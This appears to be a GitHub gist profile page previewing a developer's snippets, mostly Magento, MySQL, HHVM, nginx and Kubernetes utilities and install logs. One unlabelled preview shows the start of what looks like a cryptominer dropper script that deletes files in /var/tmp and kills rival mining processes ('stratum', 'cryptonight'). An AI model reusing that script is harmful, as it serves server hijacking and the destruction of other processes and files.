Skip to content

Instantly share code, notes, and snippets.

View pepijnblom's full-sized avatar

Pepijn pepijnblom

  • @graciousstudios
  • The Hague, The Netherlands
View GitHub Profile
@pepijnblom
pepijnblom / log.txt
Created August 11, 2015 08:45
Output brew install hhvm --HEAD --verbose
pepijn:~ graciousstudios$ brew install hhvm --HEAD --verbose
==> Installing hhvm from mcuadros/homebrew-hhvm
==> Cloning https://github.com/facebook/hhvm.git
git --git-dir /Library/Caches/Homebrew/hhvm--git/.git status -s
Updating /Library/Caches/Homebrew/hhvm--git
git config remote.origin.url https://github.com/facebook/hhvm.git
git config remote.origin.fetch +refs/heads/master:refs/remotes/origin/master
git fetch origin
git checkout -f master --
Already on 'master'
@pepijnblom
pepijnblom / gist:543356b1663e4c20fdfe
Created August 17, 2015 12:30
HHVM attempt 2015-08-17
pepijn:~ graciousstudios$ brew install hhvm --HEAD --verbose
==> Installing hhvm from mcuadros/homebrew-hhvm
==> Installing dependencies for mcuadros/hhvm/hhvm: curl, sqlite
==> Installing mcuadros/hhvm/hhvm dependency: curl
==> Downloading https://homebrew.bintray.com/bottles/curl-7.44.0.yosemite.bottle.tar.gz
/usr/bin/curl -fLA Homebrew 0.9.5 (Ruby 2.0.0-481; OS X 10.10.4) https://homebrew.bintray.com/bottles/curl-7.44.0.yosemite.bottle.tar.gz -C 0 -o /Library/Caches/Homebrew/curl-7.44.0.yosemite.bottle.tar.gz.incomplete
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 797k 100 797k 0 0 1204k 0 --:--:-- --:--:-- --:--:-- 1710k
@pepijnblom
pepijnblom / migrate.sh
Last active November 18, 2020 22:20 — forked from tobi-pb/migrate.sh
Upgrade MAMP to Mysql 5.7
#!/bin/sh
wget http://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.15-osx10.11-x86_64.tar.gz
tar xfvz mysql-5.7*
echo "stopping mamp"
sudo /Applications/MAMP/bin/stop.sh
sudo killall httpd mysqld
echo "creating backup"
server {
listen 80;
server_name yourdomain.com;
root /var/www/yourdomain;
index index.php;
# Directives to send expires headers and turn off 404 error logging.
location ~* ^.+\.(ogg|ogv|svg|svgz|eot|otf|woff|mp4|ttf|rss|atom|jpg|jpeg|gif|png|ico|zip|tgz|gz|rar|bz2|doc|xls|exe|ppt|tar|mid|midi|wav|bmp|rtf)$ {
access_log off;
@pepijnblom
pepijnblom / cron_xtento.php
Last active September 28, 2017 10:54
Call Xtento crons from the commandline
<?php
// place file in your magento public root
// call like so: php cron_xtento.php --module=xtento_orderexport --profile=MODULE_PROFILE_ID
// it should be easy to extend this for all other modules by adding the name to the array
require_once 'app/Mage.php';
umask(0);
/* not Mage::run(); */
Mage::app()->setCurrentStore(Mage_Core_Model_App::ADMIN_STORE_ID);
$options = getopt('', ['module:', 'profile:']);
@pepijnblom
pepijnblom / magento-cli.py
Created September 26, 2017 14:05 — forked from nyov/magento-cli.py
A Magento REST API example with rauth as OAuth provider.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from rauth.service import OAuth1Service
# Create consumer key & secret in your Magento Admin interface
# For an API Guideline see:
# http://www.magentocommerce.com/api/rest/authentication/oauth_authentication.html
#
# Short Magento setup explanation:
@pepijnblom
pepijnblom / largest.sh
Created October 13, 2017 15:50
Largest file/dir bash
FS='/';NUMRESULTS=20;resize;clear;date;df -h $FS; echo "Largest Directories:"; du -x $FS 2>/dev/null| sort -rnk1| head -n $NUMRESULTS| awk '{printf "%d MB %s\n", $1/1024,$2}';echo "Largest Files:"; nice -n 19 find $FS -mount -type f -ls 2>/dev/null| sort -rnk7| head -n $NUMRESULTS|awk '{printf "%d MB\t%s\n", ($7/1024)/1024,$NF}'|grep -v ^0
!/bin/sh
id1="jvdxbsjgds"
id2="kzpprqvhov"
id3="xczd"
rm -rf /var/tmp/xztd
rm -rf /var/tmp/`echo $id1`.conf
ps auxf|grep -v grep|grep -v `echo $id2`|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
import mysql.connector as mysql
import simplejson as json
import sys
def cursor_to_dict(cursor):
data = cursor.fetchone()
if data is None:
return None
@pepijnblom
pepijnblom / ingress.yaml
Last active January 24, 2020 08:30
magento2-kubernetes-blog-ingress-example
apiVersion: v1
items:
- apiVersion: extensions/v1beta1
kind: Ingress
metadata:
annotations:
kubernetes.io/ingress.global-static-ip-name: x.x.x.x
networking.gke.io/managed-certificates: acc
name: acceptance-ingress
namespace: acceptance